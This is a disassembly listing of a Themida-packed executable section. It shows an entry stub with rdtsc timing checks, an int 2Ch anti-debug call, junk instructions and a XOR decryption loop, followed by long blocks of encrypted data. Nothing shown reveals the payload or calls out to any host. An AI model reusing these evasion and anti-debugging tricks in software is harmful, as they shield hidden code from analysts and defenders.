		mov	cx, 8766h
		mov	cx, 0FCD3h
		cld
		mov	dl, 0D2h
		jmp	near ptr loc_6087E0+1
; ---------------------------------------------------------------------------
		db 24h,	30h, 0C8h
; ---------------------------------------------------------------------------


loc_6087D7:				; CODE XREF: Themida_:00608774j
		inc	ecx
		fistp	dword ptr [ecx-558371Ah]
		aas
		xchg	eax, esp


loc_6087E0:				; CODE XREF: Themida_:006087CFj
		xor	ah, [eax-18h]
		adc	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 66h
		dd 3D4B26A1h, 0B39A6442h, 0F7A934A9h, 7CB6D0A4h, 7E92F50h
		dd 0CE000000h, 4A71A765h, 0FC5E09DDh, 66D18A61h, 0B553C78Bh
		dd 44B658C3h, 0E860CE8Ah, 11h, 939FCC64h, 0BAB06490h, 80A58E3Ah
		dd 0E998EA40h, 0AE814h,	0D2EC0000h, 0A6FE6645h,	5603BD08h
		dd 0EE95B5Fh, 0E9000000h, 0E00EAD2Bh, 28362576h, 0E5F9E599h
		dd 66606119h, 0E92480BBh, 11h, 610B39ADh, 0BB8444E8h, 4D01BD26h
		dd 15F54F97h, 10E9611Dh, 1C000000h, 13F0DC8h, 0D128A7Fh
		dd 0B7547B11h, 81CA5300h, 5A23B8D7h, 41D2813Fh,	0E93027ABh
		dd 0Eh,	0FCF7712Ah, 0EB421A72h,	8FEF3FBBh, 890FA852h, 0Dh
		dd 8F0F60h, 0B9000000h,	5DC753ACh, 0C68B6661h, 12E9DA8Bh
		dd 48000000h, 331D16C5h, 5BFDE144h, 8433DD64h, 89802478h
		dd 2ABEF587h, 0BB37E009h, 1C04105Eh, 0EE9h, 3CA71A00h
		dd 0B6DF9A48h, 2B610CB1h, 0E950B265h, 11h, 71F94985h, 185C8364h
		dd 19DDDA69h, 2DCBF7D6h, 0EE9FCh, 399B0000h, 0DCFD68B9h
		dd 1B7C2F3Ch, 8CB136FCh, 4D6D8BBBh, 73DA8007h, 15810Fh
		dd 9E80000h, 62000000h,	9DA7DB8h, 6DBF86Fh, 0C66EF181h
		dd 0E9584A0Ah, 12h, 45172A9Fh, 0B02CED69h, 0EC9401D2h
		dd 4CC4CEE3h, 0FE9A72Dh, 9A000000h, 1A8DC29h, 1A03E192h
		dd 554051C9h, 0BA6628A3h, 8B661DD5h, 8BFB8BD9h,	0AE9FEh
		dd 67D50000h, 7A2DB159h, 2CA9FBBEh, 0F966E980h,	0F9B7BB66h
		dd 1870BF66h, 10E9h, 0DFF24200h, 0B47B31DEh, 2B305DD2h
		dd 8540211Ah, 2803B875h, 0BA6601CAh, 890FDFCFh,	8, 28E0Fh
		dd 61600000h, 0DE995B5h, 0EB000000h, 88D5BCA9h,	15606CD5h
		dd 0F512825Ah, 20C88166h, 6660522Ah, 0D981D08Bh, 280E4E9Fh
		dd 931D5861h, 25Fh dup(931C0B33h), 0E002ACC1h, 2AEh dup(0E002ACC0h)
		dd 9947ACC0h, 1A1h dup(99478F77h), 0B478F77h, 1E3h dup(0B41D791h)
		dd 0CE41D791h, 10Fh dup(0CE48860Eh), 42h dup(0B8109D80h)
		dd 44F33780h, 1C8h dup(44F33706h), 850h	dup(0CCCCCCCCh)
		dd 0CCCCh, 188h	dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_60E020


loc_60E005:				; CODE XREF: sub_60E020+38j
		pop	ebp
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60E007	proc near		; CODE XREF: sub_60E020:loc_60E036p
					; sub_60E020+1Dp
		rdtsc
		retn
sub_60E007	endp


; =============== S U B	R O U T	I N E =======================================



sub_60E00A	proc near		; CODE XREF: sub_60E020+4Ap
		push	ebx
		mov	ecx, 0B03h
		mov	ebx, edx


loc_60E012:				; CODE XREF: sub_60E00A+10j
		xor	[eax], dx
		add	edx, ebx
		lea	eax, [eax+2]
		loop	loc_60E012
		pop	ebx

locret_60E01D:				; CODE XREF: sub_60E020+Ej
					; sub_60E020+10j ...
		retn
sub_60E00A	endp

; ---------------------------------------------------------------------------
		dw 3DA6h

; =============== S U B	R O U T	I N E =======================================



sub_60E020	proc near		; CODE XREF: startp
		test	eax, eax
		jnz	short loc_60E028
		int	2Ch		; Internal routine for MSDOS (IRET)
		jmp	short loc_60E036
; ---------------------------------------------------------------------------


loc_60E028:				; CODE XREF: sub_60E020+2j
		mov	dx, cs
		shl	ebx, 0Ah
		js	short locret_60E01D
		jnb	short locret_60E01D
		cmp	dh, bh
		jz	short locret_60E01D


loc_60E036:				; CODE XREF: sub_60E020+6j
		call	sub_60E007
		mov	ebx, eax
		call	sub_60E007
		neg	ebx
		push	ebp
		mov	ebp, [esp+4]
		add	eax, ebx
		sub	dword ptr [esp+4], 0FAFF1h
		sub	eax, 100h
		jnb	short loc_60E005
		sub	ebp, 101005h
		lea	eax, [ebp+10106Fh]
		mov	dx, [eax-51h]
		call	sub_60E00A
		sub	eax, 73736861h
		pop	ebx
		cwde
		push	es
		ror	ebx, 82h
		lock mov cl, 0E2h
		push	0FFFFFF99h
		fisubr	word ptr [ebx-59CD9769h]
		enter	0FFFF9F08h, 0AAh
		push	edi
		arpl	[ecx], si
		enter	0FFFFA278h, 8Bh
		or	al, 0B6h
		ficomp	word ptr [eax]
		mov	esi, [ebx-5Eh]
		mov	esi, 47BF475Fh
		or	ah, ch
		les	esi, [eax]
		popfw
		db	26h
		out	0F4h, al
		and	[ebp+edi-5Eh], bl
		popf
		outsb
		in	eax, 88h
		aas
		popf
		push	0FFFFFFD6h
		xchg	eax, [edx-6Ah]
		out	22h, al
		mov	bh, 0A7h
		jmp	short loc_60E111
; ---------------------------------------------------------------------------
		dw 0FD29h
		dd 6DA2BE60h, 0A9A0854h, 2E988857h, 3667B191h, 83FB5330h
		dd 60651EBEh, 0D76BB48h, 2F88D23Ch, 0F66C7640h,	42F79151h
		dd 0EB00AB35h, 9F8B40D1h, 5207E55Dh, 8DB7CCE6h,	0C4E591F4h
		dd 0E2DB74BBh, 5656B015h, 0D1BE90D7h, 802C006Ah, 3AADF8EEh
		dd 0F951F55h
		db 4
; ---------------------------------------------------------------------------


loc_60E111:				; CODE XREF: sub_60E020+98j
		pop	edx
		cdq
		retn	90FCh
sub_60E020	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 1A39h
		dd 0AA30C478h, 48D294FCh, 0FDFCA391h, 5E01D67Fh, 95627165h
		dd 0E61D8165h, 763C0F5Bh, 7E14C8C2h, 0DFD881D1h, 950B70DDh
		dd 7293F0ECh, 685508C4h, 0EA6F3CBAh, 0F371A1BAh, 9263CAB4h
		dd 0CB908D3Ch, 0E359843Ch, 50776D25h, 0E1D01C33h, 0EDF8F76h
		dd 0E7D7EB1Ah, 0A6C31468h, 98543911h, 0F85C678Bh, 8544F421h
		dd 28D27035h, 322F8170h, 90334179h, 513204E0h, 0F808E368h
		dd 5228BCFFh, 0B8756D99h, 2DE44F1h, 0E21E9F43h,	915DCD8h
		dd 8EFB3C14h, 1A64B7CDh, 0EF8FC05Ah, 0A2258640h, 0A48A3040h
		dd 4A93A4BBh, 0B16265C8h, 22753CA2h, 2D430C22h,	0F771D4A9h
		dd 0D6722091h, 0AB32E79Fh, 5E58BEA6h, 0BAD4E917h, 63C25001h
		dd 42DA8D64h, 6CBA4DFBh, 51E1D800h, 1534EA02h, 0E73A95BAh
		dd 0BE2302B2h, 0F625CF83h, 0A839E765h, 0CAF3E020h, 0EE2148E1h
		dd 1C1101A2h, 4295E0C9h, 0DD52A974h, 1E0FA14Bh,	6AE2534Bh
		dd 0B66C11ACh, 6AFF5C45h, 4EFBA8BDh, 0BCFF61C7h, 267440A3h
		dd 30D00821h, 7E8DD8AAh, 0CA634C75h, 16B470A4h,	355554DDh
		dd 0C68509FDh, 0FA515413h, 60413572h, 982EEC19h, 21C23984h
		dd 3A1B0E6Ah, 76BD387Bh, 49DD1CF6h, 64AF6873h, 50C9EDEDh
		dd 33590A02h, 0F2316BEDh, 0BD5F69B5h, 9A314A67h, 529C3055h
		dd 220E7EBEh, 6E89CEA4h, 0FE515AC7h, 0F9802C0Eh, 42DD6A2Bh
		dd 0E8C37539h, 0D9F254A3h, 28D01DE6h, 33E8CC8Ch, 6B8CBB2Ah
		dd 99DF74A3h, 767D8AA0h, 36D90C98h, 0FE515A29h,	6DEE2105h
		dd 0E6B8F01Ah, 0B46B384h, 0AF3E9825h, 6A9C3DC1h, 0C6CADFF7h
		dd 9376372h, 0D52BB8ECh, 0BA8022ECh, 0F752AFE4h, 64AB19D0h
		dd 3399E8CBh, 0DA841260h, 260F7F2Eh, 73764B42h,	338D18C8h
		dd 0A914369h, 2703A95Ch, 0E1F2733Bh, 6FF35893h,	2A48D78Dh
		dd 86161FACh, 9E22327h,	0F6E078A3h, 6A5BC5F8h, 9177AD14h
		dd 0CDD95C04h, 973BA8FAh, 194C84F4h, 0A6AE4367h, 58687502h
		dd 0F3A2B27Dh, 0DA23474Dh, 16ADC973h, 66A1BCEFh, 5157F627h
		dd 7788321Ah, 469EED64h, 397FECDCh, 75917FDAh, 4CBC60E0h
		dd 0FD7032E5h, 0AA07761Dh, 0E8232B0h, 5A97784Bh, 0A613C4B0h
		dd 0F2F44CDEh, 6F2FF239h, 0DAE48EFFh, 0F148A5D7h, 0A1B97CB3h
		dd 9A3488DBh, 31D814C0h, 8D530AC1h, 38CAC65Dh, 0CC4B920Ch
		dd 1EAD44EDh, 5C409058h, 7DD18D7Eh, 0FCA2D7A9h,	45B26453h
		dd 69D245A9h, 0B2A831EFh, 0FE91D5E6h, 0F39FB471h, 961AF660h
		dd 4765D3D3h, 3E116552h, 0FF01D45Fh, 0C6183318h, 870E8CBAh
		dd 5EEEA03Eh, 4CEFFB6Eh, 1EF54091h, 42709C24h, 0E58487E2h
		dd 0A837445Ch, 4A8BF6CDh, 2438AB45h, 0DBAC74FAh, 0F5046457h
		dd 46E93207h, 24CF750Dh, 0BEC658AEh, 5061FE57h,	0B0291F80h
		dd 57383CDDh, 21C627B5h, 3C2CAE67h, 0DC7E9B3Ah,	13CD0EE6h
		dd 1DA0A863h, 0F87EB0BBh, 94C7272Ch, 5E7BFABDh,	7EE8BF35h
		dd 4C9CDB9Dh, 9D846060h, 34A9EA06h, 512C5E6Dh, 0EAD14A2Dh
		dd 56B52333h, 0E47913F8h, 0B468280Ch, 0D5E1EEA5h, 66787EB4h
		dd 0C3F2A59Ch, 25C26817h, 7EDC3D72h, 33B3575Ah,	0F2D76A7Fh
		dd 9BC16E37h, 8AADC30Eh, 296E64FBh, 329286E3h, 1AEF4DF2h
		dd 44285231h, 0F9C812ECh, 38A98810h, 613692DFh,	0FABEB6CFh
		dd 42D315D5h, 54664F8Dh, 0FD0A28C8h, 2A66E58Eh,	418E45FAh
		dd 9A090C2Eh, 0F3389938h, 1E22A434h, 0C6BCA6E0h, 77966F7Bh
		dd 2EF4AE00h, 0E0614A7h, 0E2AFDF92h, 9CD3E310h,	0B6D1A8B3h
		dd 55B2F984h, 805DAFD9h, 0A9438C23h, 0A67A6919h, 8D3A34FDh
		dd 0C31588h, 0E7CFCCE3h, 0BEBC3E18h, 0F5DC6C00h, 56A2B09Ah
		dd 9147FCE0h, 0BFC81992h, 3A15FC87h, 4204E056h,	0DE617C9Ch
		dd 0DDD4BCC3h, 3E77A192h, 499DF83Fh, 9775A345h,	4E63BD2Eh
		dd 0CABFA5E3h, 0C010D5D3h, 0F6668CB7h, 81EB1B03h, 0CA847CC6h
		dd 16576AEDh, 62D2B104h, 0AE4E0811h, 0FAC9548Bh, 4644A006h
		dd 6DECBAD3h, 0CE1DBA68h, 86EF2F78h, 8D441070h,	9E6EF28Dh
		dd 6B5B09A8h, 3FCED528h, 0CC7D4F85h, 81EE2F39h,	5D70CB8Bh
		dd 0F8F9B227h, 0BA0C45BAh, 41F5083Ah, 202BCA4h,	0D60C6033h
		dd 45F90EDEh, 2615C945h, 0F286BED7h, 0A96B0548h, 4287F5DAh
		dd 0EE089A41h, 0BEBC65FAh, 7D361D6Ah, 1490C0D7h, 0D73B6D74h
		dd 9DA52ADCh, 0B36D762h, 0F3B2B383h, 0B059489Fh, 5AD8E51Ch
		dd 85A8090h, 0C6CA4115h, 734C1EA8h, 36F0DD13h, 0CE416190h
		dd 93E9135Dh, 1673E8B9h, 0E6FD873Bh, 0E97D58AAh, 47E6D378h
		dd 1D6BBFB6h, 0C63A1835h, 62AE10D5h, 3214D54Ah,	0D695BBB3h
		dd 8B002168h, 4893E0E8h, 0F217824Ch, 0D29F5FC5h, 582D1D5Ch
		dd 39B1A8FEh, 0B6356A7Bh, 44BF39CAh, 1A23C460h,	9AA499EDh
		dd 0AB4925B8h, 5ECDE815h, 125A9E93h, 0A7CE6A14h, 512A3189h
		dd 0DE8C80Dh, 0CB4D7D87h, 9EF23516h, 4656C5B5h,	0C1E68912h
		dd 0BB7A4BA9h, 58E0C026h, 1970B3A2h, 0C2C16530h, 5A8F0DFAh
		dd 1C06D95Ch, 0E8976CDDh, 0B308214Eh, 4A8DDFAAh, 0FA0E8172h
		dd 0BEAB51F1h, 471D7C5Dh, 1CB09EECh, 0D43E7D60h, 72A9278Eh
		dd 2135C95Ch, 0DBAC97ECh, 0AD3E0578h, 59EFE41Eh, 0E759A99Bh
		dd 0A1D6463Bh, 6E4A199Fh, 27C8AF00h, 0DD4E4BE4h, 0BFF1393Dh
		dd 2977C8B6h, 0F7FCBC56h, 806670B5h, 57F8E93Eh,	1B48D489h
		dd 0A3E87633h, 549A23C9h, 5E12D453h, 0C49674FAh, 93023976h
		dd 3299FDE6h, 0CF03864Eh, 0BF907BA2h, 4929D073h, 1A5A9FAh
		dd 0D1204814h, 79BE01ECh, 3F0E8238h, 0A2B78FF4h, 8D503A51h
		dd 9C9E719h, 0FE50AECAh, 0B7E32C07h, 776A1C8Fh,	39A7A106h
		dd 0DF656480h, 76DF390Ch, 2C70DAA8h, 0E9F18022h, 83434093h
		dd 5EE2CA39h, 176988ACh, 0B8E7502Ah, 629823BFh,	714D57Dh
		dd 0CB9961E2h, 9F030731h, 13EAD0C9h, 0E2048146h, 0A98451F5h
		dd 431AE251h, 20D7B5F6h, 0B7276E7Ch, 628F04F1h,	5A2ADB60h
		dd 0D2AC72D0h, 9E290A67h, 4AF59818h, 0FF5C80B8h, 0A4E24407h
		dd 4E440A86h, 1DCDAF0Eh, 0DF4F7BB2h, 72D1600Fh,	337FDE9Eh
		dd 0F7D39D2Ch, 0A41121BFh, 53FED33Ah, 0D262A8ABh, 0ABE04737h
		dd 54FE07B3h, 30B8348h,	0E29078D6h, 9B133740h, 32AED7DEh
		dd 0D512BE29h, 968359D6h, 4D38DB7Ah, 14B7BDEFh,	8B206E16h
		dd 7B991CF0h, 3805CF68h, 0DEA561DBh, 0F62F3F6Ah, 32F3E830h
		dd 0FC67869Fh, 0A9D6571Ah, 4D41D483h, 3CA9A209h, 0DB555793h
		dd 69C5370Ch, 3874D9AAh, 0F2E2B259h, 8B6627A6h,	53DBE02Ch
		dd 0E77D94B9h, 0BFE1612Ah, 1E860AAEh, 1F2BB073h, 0E58F62DDh
		dd 67052F4Ah, 2882E1C2h, 0FB0A8645h, 888C29D1h,	652AC220h
		dd 1BADB1EEh, 0BE274D41h, 5BBC11E7h, 1024D16Bh,	0DA9508F0h
		dd 932C0168h, 23D9CF1Ch, 0FB4A98A8h, 0B1E05F18h, 435CEAB0h
		dd 1FD8A43Eh, 95267B86h, 7AF22930h, 2F68C6BEh, 0CAFB002Ah
		dd 81763FBAh, 5BE5FB3Fh, 0E56AE4B8h, 0B5E05E29h, 47677CB6h
		dd 1D14A04Ah, 0D48E76CDh, 6170D55h, 248EC9C2h, 0F00D8B2Bh
		dd 859744C2h, 423AFB42h, 0F6B4959Dh, 0AB385A7Dh, 75BD37E7h
		dd 704A57Ch, 0D7A468E4h, 8A2D1105h, 2FD0D6E5h, 0E25CB788h
		dd 8CDB5334h, 4B44EB97h, 1BDF870Ah, 8F27459Dh, 60C7180Ah
		dd 1169DD8Eh, 0EBF7612Bh, 827A19D6h, 27E1EE34h,	0EB7AA7B9h
		dd 0B6F46126h, 48488082h, 1C0EA94Bh, 0DBAA6CDFh, 63350054h
		dd 17EED5DDh, 0F228AA68h, 0C0D77BEEh, 3A2CD866h, 0C5BC85CCh
		dd 0B7244375h, 1EAB1DDFh
		dd 252AA142h, 0FDA775FBh, 7A012563h, 2BEDA8C3h,	0FF4FA59Ah
		dd 87E0390Ah, 7754F99Fh, 2CAC9917h, 0AF7B438Fh,	7AC22611h
		dd 1A5BD994h, 4719081Dh, 0ABDD7FD2h, 4690A03Ah,	0B6476126h
		dd 0B487524Ah, 7952D5C1h, 0BAF6D52Ah, 922D97EBh, 5F340262h
		dd 0CF10E7E0h, 0A67B2713h, 0DEA882Bh, 2E46DEB6h, 8218679Fh
		dd 53D567D9h, 22C369E0h, 41E3722h, 45C47E8Ch, 16638E92h
		dd 26002983h, 6A53A881h, 61B74423h, 0BD32FA20h,	0EAEDB6BCh
		dd 0CE3928EBh, 70F6760Ch, 3CEBA8E2h, 0B2F10C5Dh, 1460B89h
		dd 5AB696C6h, 6955AFCFh, 0F2AE4ADFh, 5AFC0DC5h,	36F35F0Ah
		dd 25FA30A9h, 12E0E13Bh, 5DF0A8A3h, 553F53FFh, 0D462DB7Bh
		dd 0CF628C03h, 8EC8002Fh, 2501DC1Bh, 0A35F7F69h, 725FEB34h
		dd 0A8FE9700h, 4DAE6408h, 0DD3E4F7Bh, 0B21BD67Ah, 9A78CD7Ah
		dd 78BC19FEh, 6EAEE067h, 2DD5D3DEh, 0DDFABFECh,	6A202CB6h
		dd 37C1105Eh, 120D4234h, 0C35B9B55h, 8A103B55h,	0B7DD114Bh
		dd 6355DC97h, 58D54DBDh, 0CE7C24ADh, 60E38F1Ch,	3FF1AC92h
		dd 0FB6D0CEDh, 0FAE85442h, 0ABE2FD25h, 92CEF6ECh, 4BD7C776h
		dd 2AC59E8Fh, 569D8243h, 0C2E61CAAh, 684BAC8Ah,	409C3142h
		dd 86F30010h, 0E8D9C9BCh, 3E1098E6h, 49F2E458h,	0D7413187h
		dd 51594F97h, 0EB3437E0h, 0D26D609Fh, 61860D1h,	51C87CDDh
		dd 2B83C481h, 0EA9A5E30h, 37092A4Ch, 80BDC43h, 0CEFC29B6h
		dd 0D15C8C3Ah, 95394BD5h, 0B71A6D96h, 151CBAECh, 45A327E4h
		dd 0C50B7BF5h, 0B60BF096h, 7C87C8F2h, 0EFAE2B7Eh, 0C6DD07B1h
		dd 9944A889h, 4EE50A13h, 29E82F01h, 0F17D5796h,	42DD9C9Dh
		dd 4DB3BFFAh, 0FDB4A187h, 0A2A28079h, 0B211C4EDh, 3784A822h
		dd 1A3EFC4Eh, 0DB764757h, 5CA59D90h, 2D6A3D84h,	3A067C9Dh
		dd 7DCE044h, 0C2E62252h, 82E5F33Ah, 0E9F3D491h,	0B667344Dh
		dd 253D8A3h, 0A2E4A828h, 9AE0F6ABh, 0E758284Ah,	0A7288C99h
		dd 7E42FEC7h, 4E43D81Bh, 1648742Fh, 62AEEC87h, 0AE400CEAh
		dd 0AEE9027Dh, 0D3C9F7F8h, 92A1CABAh, 49A0F1DCh, 2AA8856Eh
		dd 744981B7h, 0AA9E7630h, 4E1A68DCh, 0C0004B0Ah, 301110F5h
		dd 0A9F8BACBh, 3A6FCC99h, 0DD82E444h, 0F6DA843Fh, 0DD797C39h
		dd 7ED3B222h, 7AF54D32h, 120876D9h, 38B22779h, 0C9B0AAA4h
		dd 0F0C8BB49h, 6FD880BDh, 52261C93h, 0B85AD7C7h, 974A642Ah
		dd 319784DFh, 3F194869h, 0FEBD5CE9h, 8A040FF9h,	65EBE01Fh
		dd 0B27E6C5Bh, 7EF9D83Bh, 0D8B12BB5h, 47A03044h, 12196419h
		dd 7AE24759h, 0C087FBDCh, 0A58D4068h, 65620935h, 4CDEE856h
		dd 0E47F34C5h, 607BF536h, 67BD4133h, 0A7921823h, 1AECF123h
		dd 8764B03Ah, 263003F3h, 11D647E0h, 35D9949Bh, 86541093h
		dd 0E8EEAC92h, 9E0D6878h, 0EEC9C4B7h, 0B64210E5h, 779D62FFh
		dd 70B9EE0Ah, 0DDFDBD26h, 29A46284h, 7DABCAAAh,	147416C3h
		dd 99F77563h, 317EE521h, 59CEBC4Ah, 11960714h, 138E5450h
		dd 4609A07Ah, 0C0D4D2C6h, 5B0F6E8Bh, 2A7B8498h,	0DAFE163Ah
		dd 467D1108h, 0EED6836h, 0A91D9417h, 0A9DE3C0Ah, 0F25FC0A4h
		dd 1ED7359Ch, 0B775C438h, 0A2B457B2h, 1EE0037Bh, 0EFBBBDAAh
		dd 0D263EB7Bh, 77CB14F4h, 223AD27Dh, 0EB9BD74Dh, 1577829Ah
		dd 8C9A9F6Dh, 8226FBF9h, 31F0CA93h, 0A3A7A4Ah, 3658F35Bh
		dd 5A445C86h, 0FE8F5858h, 247DCB88h, 0F2E49F24h, 9094C3C3h
		dd 0AB7C9819h, 49C1A07Ah, 5AF6A9FCh, 43EE7C97h,	5E6AB844h
		dd 0FCB45523h, 80F5AF72h, 0CFDB8CBAh, 9E4DE08Ch, 13E16494h
		dd 741DD15Bh, 0E7379DDAh, 0BE543EACh, 0F59B6006h, 461CC668h
		dd 22760478h, 0FE24737Eh, 0F955956Eh, 8203BC61h, 0D2A32C8Dh
		dd 0F39F25E0h, 6A89D949h, 9CF1AD5Ch, 0B71B5C42h, 4E1B8222h
		dd 170D0F4Ah, 0E6126A2Ch, 0B7F629CCh, 7EE8F25Fh, 0E094B1BDh
		dd 93EC70A1h, 627A96F5h, 268E0A21h, 5615430h, 56FBAE0Bh
		dd 0C19E071Ah, 89877EDAh, 760BD651h, 4AAB9C1h, 0A42A6F68h
		dd 679734F6h, 2D54D090h, 0D3F45C0Ah, 9C573E86h,	4CC8CE1Bh
		dd 0E4478D98h, 0A6DC753Ah, 476D138Dh, 0FCEC82Fh, 0CE7373AAh
		dd 72E20F1Bh, 0AD0CAECFh, 623822BAh, 857134CBh,	1813F938h
		dd 0F092A8D2h, 0AF054459h, 7C9E1D9Ch, 2F25C041h, 0C1C747EAh
		dd 861B2F48h, 40ADCCF8h, 0C41DA34Eh, 0AD9E58B6h, 86FC658h
		dd 0EB8BDFBh, 934C137Dh, 12C16C6Bh, 0B3BDE5FFh,	0AAA819AFh
		dd 0E308D533h, 0BDAE9C60h, 9E0F3E79h, 0C54DF567h, 384ABC96h
		dd 541179D5h, 124E18C9h, 20E74A68h, 0A93331B6h,	2FAB8956h
		dd 0FE23DA7Bh, 38091F41h, 239C45EAh, 0F7C8A9B5h, 9B7E78A3h
		dd 6A7CE1CBh, 4CAE9950h, 0F99D12A9h, 813CA910h,	1FD4A8F7h
		dd 0E6C555E2h, 5850E642h, 905E2780h, 4947342Fh,	12CA54F8h
		dd 6AD5F875h, 0FDB9087Bh, 0BE1A17B0h, 0B9AFEC3Dh, 820C2A78h
		dd 0AA663368h, 284B17F1h, 0F4092F0Ch, 3D180CFCh, 127BFB85h
		dd 0B2F14B2Dh, 0A68A0047h, 0AD460A94h, 7AAECB0Dh, 75FBA8F2h
		dd 0C651F6ACh, 0DEF394B4h, 658537CFh, 0EFE914ABh, 35362575h
		dd 1E9B8290h, 0BA5F851h, 0EAC6627Eh, 36519AFBh,	0F2BFAB8Fh
		dd 0BA264178h, 4AC335E3h, 40BC55FEh, 37330C6Ch,	0FE257E79h
		dd 0C73D957Dh, 963BE811h, 0C53FB9E0h, 0D17388F4h, 6ABB32F5h
		dd 0C271B3DBh, 9F946C56h, 4E16B467h, 17065D4Dh,	0F61677B6h
		dd 0BD77F7ABh, 0B3B8E40h, 0DA6829A9h, 8370D0B5h, 727ED1A4h
		dd 0ED7F95ACh, 5A65743Ah, 3CE1DAF7h, 0A033AE1Eh, 11574899h
		dd 2A751681h, 0DC0D6590h, 5FC40E7Eh, 1ED46500h,	0E739AE50h
		dd 0A6A683C8h, 526008F8h, 0B1E3F924h, 8A0B727Ah, 7357186Ah
		dd 3233AB9Bh, 57015DA7h, 221A24CCh, 0E96A858Ah,	7078312Ch
		dd 2B4B085Eh, 0FA1741D1h, 75DDF412h, 6D082428h,	0C6FCFFC4h
		dd 7CF494A3h, 9E5B8F66h, 3D14E914h, 1B7EEDEFh, 22B7B4B4h
		dd 0CB53440h, 3527B36Fh, 2E468090h, 0FCABB291h,	5B830358h
		dd 32EF8C02h, 3F119903h, 0EBED442Fh, 0D8A29FA8h, 0D1B2BC53h
		dd 8E39064Dh, 0E1DD446Bh, 3637188Eh, 8C0A2362h,	261B38FAh
		dd 1A967454h, 255E9383h, 9CBF3F04h, 0FE44148Eh,	6C6531BAh
		dd 0FE6DF0D1h, 0E27A3C3Bh, 36963D3Ah, 0F729D423h, 0D6CB6E13h
		dd 0E71D8429h, 520A475Ah, 0FD5E0420h, 0B8901ED2h, 67AC853h
		dd 71CFA4DEh, 0CA6DD298h, 29060588h, 7243F980h,	0BBD58B7Fh
		dd 873864FAh, 46AB11C3h, 1FA3A5F1h, 0EEBA6F06h,	0C5D0D70Fh
		dd 0E81D639Ch, 0D21C3CF9h, 1C87FC56h, 8693C4D5h, 0B68E11C0h
		dd 308349Fh, 0DB7BA847h, 9AEFD38Ch, 0E7EB84BCh,	0B9A68CB8h
		dd 2C71B2E0h, 0ED83B150h, 0D6ED703Ah, 0AEEC9FFh, 0AE5F1BA9h
		dd 0DDD4C163h, 0A4BEA007h, 8F455110h, 0AB4C381Eh, 0B34209A0h
		dd 2642C018h, 0E5E4897Fh, 0CEBC68EBh, 5B3D3078h, 0E6BB00F2h
		dd 0DABC761h, 0ABA317D8h, 4CA1F479h, 0C634AF5Ah, 22F27D5Ah
		dd 6C79C9BCh, 9DE981AEh, 0FE8960DCh, 3201A3B7h,	0D00F8C2h
		dd 0F7EDD1B3h, 269D90A9h, 178D8F67h, 0CEFE0FE6h, 9F66B4AEh
		dd 66E4C1E7h, 0AFD3B1AFh, 0F66A588Dh, 0B5AC8FF0h, 9645986Bh
		dd 0C9133C0Fh, 0AFC016Ch, 0A0D62B52h, 4BBF30A7h, 227AD41h
		dd 0B6B40978h, 55CEFEFFh, 0EB02C5E3h, 424D9CF9h, 8EA2FC0Dh
		dd 254D66E0h, 36BEE2CEh, 565041D7h, 4E059546h, 5A0B74E7h
		dd 0DD8C0646h, 6315D880h, 0A47F40DFh, 38B286BBh, 8D70AA24h
		dd 52E708F5h, 0FEAB77CDh
		dd 2EEE95A0h, 849E0007h, 0A261D1CEh, 0A657B83Dh, 9AD2F489h
		dd 9E786E35h, 1CE9A2ABh, 5B61E227h, 0B2F80AA7h,	331B08D8h
		dd 2DFCB60Ah, 0AE1246BDh, 7438AB38h, 0C728B0CCh, 92A340A2h
		dd 8E1F52E1h, 0BF65D70Bh, 7605F7BAh, 0D66F91D8h, 0E6668DEh
		dd 93ECAFA9h, 0A3EB51C8h, 0D47E4C40h, 3EF3FC9Eh, 4E11B60h
		dd 55F02094h, 0C93B70E9h, 6EEEA0A2h, 7EF1424h, 6CD7D58h
		dd 0C7A7FF4Ch, 9EC3DFF4h, 0BE318494h, 116A2501h, 27C6DC18h
		dd 0CED13C7Dh, 85B1F9FEh, 4DB7D053h, 0E333663Bh, 6B510B26h
		dd 4A3983B5h, 0E8A408E4h, 1CABADCDh, 93B3DD0h, 77A6D4C9h
		dd 0D6E78EA6h, 0E81984AFh, 2CE947B4h, 270DE7D1h, 1C945136h
		dd 8CD15337h, 0A9D555B5h, 7E0234A3h, 9F8777A9h,	207233F9h
		dd 3E630802h, 1ACB5F1Dh, 7C2DB11Ch, 0A2A1CCFFh,	0E0C5B712h
		dd 0BACB84AAh, 966F7FB4h, 0C3B62C84h, 3A8FD38h,	6AB8C46Bh
		dd 33F210F6h, 2BF75EEh,	0B02241EDh, 58F80B97h, 53AC40E7h
		dd 328CA5FEh, 0C882278Ch, 49933473h, 92018F28h,	6289BCF7h
		dd 84A18D4Eh, 0FAEA5452h, 446E5FEBh, 1776FC1Eh,	7A763774h
		dd 16D842Fh, 1CB8806Bh,	0C30E4C25h, 0EDF68C9h, 0CFA5E2DDh
		dd 0A6C62602h, 0FDAEB490h, 3ECF9C0Ah, 22C26D0Ah, 5BC320AFh
		dd 3214D08Dh, 0DA2C457Ch, 0EB3504DDh, 56B00A20h, 74953911h
		dd 6625F879h, 38A64B1Bh, 5C9D905Dh, 2AAD23DBh, 3194387Ch
		dd 0A29CE44h, 9972434Dh, 0B0BD88C7h, 7B085843h,	4AEC8E02h
		dd 55743909h, 88A26CE4h, 9B91D934h, 7AF9FE04h, 0E0FBB5D8h
		dd 0D2656CB2h, 5CCC3C11h, 63E40499h, 0DC92D59Dh, 139C9C9Fh
		dd 8E57805Ah, 25943489h, 36196A94h, 7D7A497Dh, 0BE34487Ch
		dd 0CE34ED73h, 952CA0C5h, 1A9FB7E1h, 0EE231216h, 0FB9D4653h
		dd 67EE112Bh, 0F845A9DEh, 559B78C2h, 7CFE7C72h,	643410C9h
		dd 0F3759D47h, 0CB744937h, 9A68DEF3h, 0AD434F75h, 48C7537h
		dd 71F28B20h, 0C972679Fh, 0D78A3973h, 0E38CBF37h, 0C7AF57A0h
		dd 0E427AD7Bh, 4AB423D9h, 19969E0Dh, 9C4E04CCh,	3A028716h
		dd 89F394F3h, 314C50Eh,	240EED4Fh, 3EEB4E0h, 0AA8D44E0h
		dd 0F29CC46Fh, 0FEAC9861h, 61D56F1Eh, 762BBD53h, 0DE116CFAh
		dd 0A7BF17C4h, 0C8692866h, 71F95C43h, 0F8DE80C3h, 720DA400h
		dd 37816A8Bh, 0DE05900Eh, 8360144Dh, 8B3F6D14h,	27E900A4h
